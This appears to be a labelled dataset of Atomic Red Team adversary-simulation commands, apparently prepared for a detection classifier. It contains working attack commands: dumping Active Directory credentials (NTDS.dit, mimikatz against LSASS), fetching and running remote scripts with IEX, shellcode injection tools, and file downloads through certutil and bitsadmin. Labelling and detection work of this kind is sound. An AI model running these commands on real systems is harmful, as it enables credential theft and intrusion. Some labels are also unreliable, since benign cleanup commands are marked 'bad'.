9f6fe1815adbcb81061cfc2d,rmdir /q /s #{output_folder} >nul 2>&1,rmdir /q /s #{output_folder} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.003/T1003.003.yaml,Dump Active Directory Database with NTDSUtil,T1003.003,"[""T1003.003""]",windows,0.55,True,"This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped using NTDSUtil for offline credential theft attacks. This capability
uses the ""IFM"" or ""Install From Media"" backup functionality that allows Active Directory restoration or installation of
subsequent domain controllers without the need of network-based replication.

Upon successful completion, you will find a copy of the ntds.dit file in the C:\Windows\Temp directory.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
31b1c9176766c5d75d34b7e0,wmic shadowcopy call create Volume=#{drive_letter},wmic shadowcopy call create Volume=#{drive_letter},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.003/T1003.003.yaml,Create Volume Shadow Copy with WMI,T1003.003,"[""T1003.003""]",windows,0.9,False,"This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8671be5c6c8de3f2aae3bb5d,"wmic /node:""#{target_host}"" shadowcopy call create Volume=#{drive_letter}","wmic /node:""#{target_host}"" shadowcopy call create Volume=#{drive_letter}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.003/T1003.003.yaml,Create Volume Shadow Copy remotely with WMI,T1003.003,"[""T1003.003""]",windows,0.9,False,"This test is intended to be run from a remote workstation with domain admin context.
The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e022ecc9178278c82646ee9f,"wmic /node:""#{target_host}"" process call create ""cmd.exe /c esentutl.exe /y /vss #{source_path} /d #{target_path}""","wmic /node:""#{target_host}"" process call create ""cmd.exe /c esentutl.exe /y /vss #{source_path} /d #{target_path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.003/T1003.003.yaml,Create Volume Shadow Copy remotely (WMI) with esentutl,T1003.003,"[""T1003.003""]",windows,0.9,False,"This test is intended to be run from a remote workstation with domain admin context.
The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy created with esentutl.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4a2716fcc4d99f4f5f58f648,"(gwmi -list win32_shadowcopy).Create('#{drive_letter}','ClientAccessible')","(gwmi -list win32_shadowcopy).Create('#{drive_letter}','ClientAccessible')",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.003/T1003.003.yaml,Create Volume Shadow Copy with Powershell,T1003.003,"[""T1003.003""]",windows,0.9,False,"This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f7ea6711f15c23a4a59791bb,vssadmin.exe create shadow /for=#{drive_letter} mklink /D #{symlink_path} \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1,vssadmin.exe create shadow /for=#{drive_letter} mklink /D #{symlink_path} \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.003/T1003.003.yaml,Create Symlink to Volume Shadow Copy,T1003.003,"[""T1003.003""]",windows,0.9,False,"This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by creating a symlink to Volume Shadow Copy.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f1745414c4ac040db9552ee6,mkdir c:\exfil diskshadow.exe /s #{filename},mkdir c:\exfil diskshadow.exe /s #{filename},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.003/T1003.003.yaml,Create Volume Shadow Copy with diskshadow,T1003.003,"[""T1003.003""]",windows,0.9,False,"This test is intended to be run on a domain controller
An alternative to using vssadmin to create a Volume Shadow Copy for extracting ntds.dit
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
634ed538f096ce98bbaa5727,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR #{script_url} -UseBasicParsing) Underlay-Copy -Mode MFT -SourceFile C:\Windows\NTDS\ntds.dit -DestinationFile #{extract_path}\ntds.dit Underlay-Copy -Mode MFT -SourceFile C:\Windows\System32\config\SYSTEM -DestinationFile #{extract_path}\SYSTEM_HIVE,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR #{script_url} -UseBasicParsing) Underlay-Copy -Mode MFT -SourceFile C:\Windows\NTDS\ntds.dit -DestinationFile #{extract_path}\ntds.dit Underlay-Copy -Mode MFT -SourceFile C:\Windows\System32\config\SYSTEM -DestinationFile #{extract_path}\SYSTEM_HIVE,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.003/T1003.003.yaml,Copy NTDS in low level NTFS acquisition via MFT parsing,T1003.003,"[""T1003.003""]",windows,0.9,False,"This test is intended to be run on a domain Controller.

UnderlayCopy is a PowerShell utility for low-level NTFS acquisition and dumping protected, locked system artifacts (for example: SAM, SYSTEM, NTDS.dit, registry hives, and other files that are normally inaccessible while Windows is running).
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3eb848e4e1e3f880500d8423,"remove-item ""#{extract_path}\ntds.dit"" -force -erroraction silentlycontinue remove-item ""#{extract_path}\SYSTEM_HIVE"" -force -erroraction silentlycontinue","remove-item ""#{extract_path}\ntds.dit"" -force -erroraction silentlycontinue remove-item ""#{extract_path}\SYSTEM_HIVE"" -force -erroraction silentlycontinue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.003/T1003.003.yaml,Copy NTDS in low level NTFS acquisition via MFT parsing,T1003.003,"[""T1003.003""]",windows,0.55,True,"This test is intended to be run on a domain Controller.

UnderlayCopy is a PowerShell utility for low-level NTFS acquisition and dumping protected, locked system artifacts (for example: SAM, SYSTEM, NTDS.dit, registry hives, and other files that are normally inaccessible while Windows is running).
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
226c4cf6ce62bae756746f8d,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR #{script_url} -UseBasicParsing) Underlay-Copy -Mode Metadata -SourceFile C:\Windows\NTDS\ntds.dit -DestinationFile #{extract_path}\ntds.dit Underlay-Copy -Mode Metadata -SourceFile C:\Windows\System32\config\SYSTEM -DestinationFile #{extract_path}\SYSTEM_HIVE,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR #{script_url} -UseBasicParsing) Underlay-Copy -Mode Metadata -SourceFile C:\Windows\NTDS\ntds.dit -DestinationFile #{extract_path}\ntds.dit Underlay-Copy -Mode Metadata -SourceFile C:\Windows\System32\config\SYSTEM -DestinationFile #{extract_path}\SYSTEM_HIVE,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.003/T1003.003.yaml,Copy NTDS in low level NTFS acquisition via fsutil,T1003.003,"[""T1003.003""]",windows,0.9,False,"This test is intended to be run on a domain Controller.

UnderlayCopy is a PowerShell utility for low-level NTFS acquisition and dumping protected, locked system artifacts (for example: SAM, SYSTEM, NTDS.dit, registry hives, and other files that are normally inaccessible while Windows is running).
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
26401b803dc43b7f3a7106af,"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) Invoke-Maldoc -macroFile ""#{txt_path}"" -officeProduct ""Word"" -sub ""Execute""","[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) Invoke-Maldoc -macroFile ""#{txt_path}"" -officeProduct ""Word"" -sub ""Execute""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055/T1055.yaml,Shellcode execution via VBA,T1055,"[""T1055""]",windows,0.9,False,"This module injects shellcode into a newly created process and executes. By default the shellcode is created,
with Metasploit, for use on x86-64 Windows 10 machines.

Note: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office
is required.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a3a26137252b4fa027d05b00,"""#{psexec_path}"" /accepteula \\#{machine} -c #{mimikatz_path} ""lsadump::lsa /inject /id:500"" ""exit""","""#{psexec_path}"" /accepteula \\#{machine} -c #{mimikatz_path} ""lsadump::lsa /inject /id:500"" ""exit""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055/T1055.yaml,Remote Process Injection in LSASS via mimikatz,T1055,"[""T1055""]",windows,0.9,False,"Use mimikatz to remotely (via psexec) dump LSASS process content for RID 500 via code injection (new thread).
Especially useful against domain controllers in Active Directory environments.
It must be executed in the context of a user who is privileged on remote `machine`.

The effect of `/inject` is explained in <https://blog.3or.de/mimikatz-deep-dive-on-lsadumplsa-patch-and-inject.html>
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7986542cb4e624f4ea8d5062,"$notepad = Start-Process notepad -passthru Start-Process ""$PathToAtomicsFolder\T1055\bin\x64\InjectView.exe""","$notepad = Start-Process notepad -passthru Start-Process ""$PathToAtomicsFolder\T1055\bin\x64\InjectView.exe""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055/T1055.yaml,Section View Injection,T1055,"[""T1055""]",windows,0.9,False,"This test creates a section object in the local process followed by a local section view.
The shellcode is copied into the local section view and a remote section view is created in the target process, pointing to the local section view. 
A thread is then created in the target process, using the remote section view as start address.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9284f5ce20672e352565d2d7,Stop-Process $notepad.pid,Stop-Process $notepad.pid,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055/T1055.yaml,Section View Injection,T1055,"[""T1055""]",windows,0.55,True,"This test creates a section object in the local process followed by a local section view.
The shellcode is copied into the local section view and a remote section view is created in the target process, pointing to the local section view. 
A thread is then created in the target process, using the remote section view as start address.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0bdc655c579091d376e29447,"Start-Process ""$PathToAtomicsFolder\T1055\bin\x64\redVanity.exe"" #{pid}","Start-Process ""$PathToAtomicsFolder\T1055\bin\x64\redVanity.exe"" #{pid}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055/T1055.yaml,Dirty Vanity process Injection,T1055,"[""T1055""]",windows,0.9,False,"This test used the Windows undocumented remote-fork API RtlCreateProcessReflection to create a cloned process of the parent process
with shellcode written in its memory. The shellcode is executed after being forked to the child process. The technique was first presented at 
BlackHat Europe 2022. Shellcode will open a messsage box and a notepad.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ced45c0693006c76614e3cb5,"Get-Process -Name calc, CalculatorApp -ErrorAction SilentlyContinue | Stop-Process -Force","Get-Process -Name calc, CalculatorApp -ErrorAction SilentlyContinue | Stop-Process -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055/T1055.yaml,Dirty Vanity process Injection,T1055,"[""T1055""]",windows,0.55,True,"This test used the Windows undocumented remote-fork API RtlCreateProcessReflection to create a cloned process of the parent process
with shellcode written in its memory. The shellcode is executed after being forked to the child process. The technique was first presented at 
BlackHat Europe 2022. Shellcode will open a messsage box and a notepad.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e9fc29b6b73a0b03e798bfb1,"$address = (& ""$PathToAtomicsFolder\T1055\bin\x64\searchVuln.exe"" ""$PathToAtomicsFolder\T1055\bin\x64\vuln_dll\"" | Out-String | Select-String -Pattern ""VirtualAddress: (\w+)"").Matches.Groups[1].Value & ""PathToAtomicsFolder\T1055\bin\x64\RWXinjectionLocal.exe"" ""#{vuln_dll}"" $address","$address = (& ""$PathToAtomicsFolder\T1055\bin\x64\searchVuln.exe"" ""$PathToAtomicsFolder\T1055\bin\x64\vuln_dll\"" | Out-String | Select-String -Pattern ""VirtualAddress: (\w+)"").Matches.Groups[1].Value & ""PathToAtomicsFolder\T1055\bin\x64\RWXinjectionLocal.exe"" ""#{vuln_dll}"" $address",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055/T1055.yaml,Read-Write-Execute process Injection,T1055,"[""T1055""]",windows,0.9,False,"This test exploited the vulnerability in legitimate PE formats where sections have RWX permission and enough space for shellcode.
The RWX injection avoided the use of VirtualAlloc, WriteVirtualMemory, and ProtectVirtualMemory, thus evading detection mechanisms 
that relied on API call sequences and heuristics. The RWX injection utilises API call sequences: LoadLibrary --> GetModuleInformation --> GetModuleHandleA --> RtlCopyMemory --> CreateThread.
The injected shellcode will open a message box ",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
501261cce632a656d2f1f2ea,Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force,Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055/T1055.yaml,Read-Write-Execute process Injection,T1055,"[""T1055""]",windows,0.55,True,"This test exploited the vulnerability in legitimate PE formats where sections have RWX permission and enough space for shellcode.
The RWX injection avoided the use of VirtualAlloc, WriteVirtualMemory, and ProtectVirtualMemory, thus evading detection mechanisms 
that relied on API call sequences and heuristics. The RWX injection utilises API call sequences: LoadLibrary --> GetModuleInformation --> GetModuleHandleA --> RtlCopyMemory --> CreateThread.
The injected shellcode will open a message box ",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e89f5c7f0ae78d9994c740e7,$PathToAtomicsFolder\T1055\bin\x64\UuidFromStringA.exe -debug,$PathToAtomicsFolder\T1055\bin\x64\UuidFromStringA.exe -debug,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055/T1055.yaml,Process Injection with Go using UuidFromStringA WinAPI,T1055,"[""T1055""]",windows,0.9,False,"Uses WinAPI UuidFromStringA to load shellcode to a memory address then executes the shellcode using EnumSystemLocalesA.
With this technique, memory is allocated on the heap and does not use commonly suspicious APIs such as VirtualAlloc, WriteProcessMemory, or CreateThread 
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#uuidfromstringa)
- References: 
  - https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/
  - https://twitter.com/_CPRe",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e1580e646812e115586c8eb8,Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue,Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055/T1055.yaml,Process Injection with Go using UuidFromStringA WinAPI,T1055,"[""T1055""]",windows,0.55,True,"Uses WinAPI UuidFromStringA to load shellcode to a memory address then executes the shellcode using EnumSystemLocalesA.
With this technique, memory is allocated on the heap and does not use commonly suspicious APIs such as VirtualAlloc, WriteProcessMemory, or CreateThread 
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#uuidfromstringa)
- References: 
  - https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/
  - https://twitter.com/_CPRe",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
95fb1095722dfade88cb777b,$PathToAtomicsFolder\T1055\bin\x64\EtwpCreateEtwThread.exe -debug,$PathToAtomicsFolder\T1055\bin\x64\EtwpCreateEtwThread.exe -debug,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055/T1055.yaml,Process Injection with Go using EtwpCreateEtwThread WinAPI,T1055,"[""T1055""]",windows,0.9,False,"Uses EtwpCreateEtwThread function from ntdll.dll to execute shellcode within the application's process.
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.

Steps taken with this technique
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with ",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
54ab3614afacf0d14d9a273c,$process = Start-Process #{spawn_process_path} -passthru $PathToAtomicsFolder\T1055\bin\x64\RtlCreateUserThread.exe -pid $process.Id -debug,$process = Start-Process #{spawn_process_path} -passthru $PathToAtomicsFolder\T1055\bin\x64\RtlCreateUserThread.exe -pid $process.Id -debug,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055/T1055.yaml,Remote Process Injection with Go using RtlCreateUserThread WinAPI,T1055,"[""T1055""]",windows,0.9,False,"Executes shellcode in a remote process.

Steps taken with this technique
1. Get a handle to the target process
2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
4. Change the memory page permissions to Execute/Read with VirtualProtectEx
5. Execute the entrypoint of the shellcode in the remote process with RtlCreateUserThread
6. Close the handle",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
282eee65b2d079a1f52c420e,Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue,Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055/T1055.yaml,Remote Process Injection with Go using RtlCreateUserThread WinAPI,T1055,"[""T1055""]",windows,0.55,True,"Executes shellcode in a remote process.

Steps taken with this technique
1. Get a handle to the target process
2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
4. Change the memory page permissions to Execute/Read with VirtualProtectEx
5. Execute the entrypoint of the shellcode in the remote process with RtlCreateUserThread
6. Close the handle",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c00403b289b82b96ffb7fce7,$process = Start-Process #{spawn_process_path} -passthru $PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThread.exe -pid $process.Id -debug,$process = Start-Process #{spawn_process_path} -passthru $PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThread.exe -pid $process.Id -debug,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055/T1055.yaml,Remote Process Injection with Go using CreateRemoteThread WinAPI,T1055,"[""T1055""]",windows,0.9,False,"Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellocde in a remote process.

This application leverages functions from the golang.org/x/sys/windows package, where feasible, like the windows.OpenProcess().

Steps taken with this technique
1. Get a handle to the target process
2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the r",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3402eb40c37bf213a17adc4b,$process = Start-Process #{spawn_process_path} -passthru $PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThreadNative.exe -pid $process.Id -debug,$process = Start-Process #{spawn_process_path} -passthru $PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThreadNative.exe -pid $process.Id -debug,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055/T1055.yaml,Remote Process Injection with Go using CreateRemoteThread WinAPI (Natively),T1055,"[""T1055""]",windows,0.9,False,"Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellcode in a remote process.

This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.

1. Get a handle to the target process
2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
4. Change the memory pa",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9e8122957c58ee1cc6a32ae0,$PathToAtomicsFolder\T1055\bin\x64\CreateThread.exe -debug,$PathToAtomicsFolder\T1055\bin\x64\CreateThread.exe -debug,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055/T1055.yaml,Process Injection with Go using CreateThread WinAPI,T1055,"[""T1055""]",windows,0.9,False,"This program executes shellcode in the current process using the following steps
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Call CreateThread on shellcode address
5. Call WaitForSingleObject so the program does not end before the shellcode is executed

This program leverages the funct",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9f3f00a8d013b1ea7a25d9de,$PathToAtomicsFolder\T1055\bin\x64\CreateThreadNative.exe -debug,$PathToAtomicsFolder\T1055\bin\x64\CreateThreadNative.exe -debug,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055/T1055.yaml,Process Injection with Go using CreateThread WinAPI (Natively),T1055,"[""T1055""]",windows,0.9,False,"This program executes shellcode in the current process using the following steps
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Call CreateThread on shellcode address
5. Call WaitForSingleObject so the program does not end before the shellcode is executed

This program loads the DLLs and ",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
68499d4f08f91555560d721d,"Start-Process ""#{exe_binary}"" Start-Sleep -Seconds 7 Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force","Start-Process ""#{exe_binary}"" Start-Sleep -Seconds 7 Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055/T1055.yaml,UUID custom process Injection,T1055,"[""T1055""]",windows,0.9,False,"The UUIDs Process Injection code was first introduced by the NCC Group. The code can be stored in UUID forms on the heap and converted back to binary via UuidFromStringA at runtime. In this new custom version of UUID injection, EnumSystemLocalesA is the only API called to execute the code. We used custom UuidToString and UuidFromString implementations to avoid using UuidFromStringA and RPCRT4.dll, thereby eliminating the static signatures. This technique also avoided the use of VirtualAlloc, Wri",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a940b852bd5fe878b2f50c40,rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path},rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,rsync remote file copy (push),T1105,"[""T1105""]","linux,macos",0.9,False,"Utilize rsync to perform a remote file copy (push)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7e1d426226164b2efd3f5cf9,rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path},rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,rsync remote file copy (pull),T1105,"[""T1105""]","linux,macos",0.9,False,"Utilize rsync to perform a remote file copy (pull)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a9c32c043913feab0633c3b9,scp #{local_file} #{username}@#{remote_host}:#{remote_path},scp #{local_file} #{username}@#{remote_host}:#{remote_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,scp remote file copy (push),T1105,"[""T1105""]","linux,macos",0.9,False,"Utilize scp to perform a remote file copy (push)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8fd2296818a1992da264a132,scp #{username}@#{remote_host}:#{remote_file} #{local_path},scp #{username}@#{remote_host}:#{remote_file} #{local_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,scp remote file copy (pull),T1105,"[""T1105""]","linux,macos",0.9,False,"Utilize scp to perform a remote file copy (pull)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d7f2e268f291a3926076ff11,sftp #{username}@#{remote_host}:#{remote_path} <<< $'put #{local_file}',sftp #{username}@#{remote_host}:#{remote_path} <<< $'put #{local_file}',bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,sftp remote file copy (push),T1105,"[""T1105""]","linux,macos",0.9,False,"Utilize sftp to perform a remote file copy (push)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1a8f14952c382aacd988ebbb,sftp #{username}@#{remote_host}:#{remote_file} #{local_path},sftp #{username}@#{remote_host}:#{remote_file} #{local_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,sftp remote file copy (pull),T1105,"[""T1105""]","linux,macos",0.9,False,"Utilize sftp to perform a remote file copy (pull)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9029019c4b1d8f3989428e85,cmd /c certutil -urlcache -split -f #{remote_file} #{local_path},cmd /c certutil -urlcache -split -f #{remote_file} #{local_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,certutil download (urlcache),T1105,"[""T1105""]",windows,0.9,False,"Use certutil -urlcache argument to download a file from the web. Note - /urlcache also works!
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
062060831cf4fbac7ade4975,del #{local_path} >nul 2>&1,del #{local_path} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,certutil download (urlcache),T1105,"[""T1105""]",windows,0.55,True,"Use certutil -urlcache argument to download a file from the web. Note - /urlcache also works!
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cdbd7109a5adb74ca2bec2ca,"$datePath = ""certutil-$(Get-Date -format yyyy_MM_dd)"" New-Item -Path $datePath -ItemType Directory Set-Location $datePath certutil -verifyctl -split -f #{remote_file} Get-ChildItem | Where-Object {$_.Name -notlike ""*.txt""} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }","$datePath = ""certutil-$(Get-Date -format yyyy_MM_dd)"" New-Item -Path $datePath -ItemType Directory Set-Location $datePath certutil -verifyctl -split -f #{remote_file} Get-ChildItem | Where-Object {$_.Name -notlike ""*.txt""} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,certutil download (verifyctl),T1105,"[""T1105""]",windows,0.9,False,"Use certutil -verifyctl argument to download a file from the web. Note - /verifyctl also works!
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5995ce435d442e69df691462,"Remove-Item ""certutil-$(Get-Date -format yyyy_MM_dd)"" -Force -Recurse -ErrorAction Ignore","Remove-Item ""certutil-$(Get-Date -format yyyy_MM_dd)"" -Force -Recurse -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,certutil download (verifyctl),T1105,"[""T1105""]",windows,0.55,True,"Use certutil -verifyctl argument to download a file from the web. Note - /verifyctl also works!
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d1a82bd3208a8cdb2c4a5af6,C:\Windows\System32\bitsadmin.exe /transfer #{bits_job_name} /Priority HIGH #{remote_file} #{local_path},C:\Windows\System32\bitsadmin.exe /transfer #{bits_job_name} /Priority HIGH #{remote_file} #{local_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Windows - BITSAdmin BITS Download,T1105,"[""T1105""]",windows,0.9,False,"This test uses BITSAdmin.exe to schedule a BITS job for the download of a file.
This technique is used by Qbot malware to download payloads.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2b2b9caae8dfa836e43c21bc,"(New-Object System.Net.WebClient).DownloadFile(""#{remote_file}"", ""#{destination_path}"")","(New-Object System.Net.WebClient).DownloadFile(""#{remote_file}"", ""#{destination_path}"")",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Windows - PowerShell Download,T1105,"[""T1105""]",windows,0.9,False,"This test uses PowerShell to download a payload.
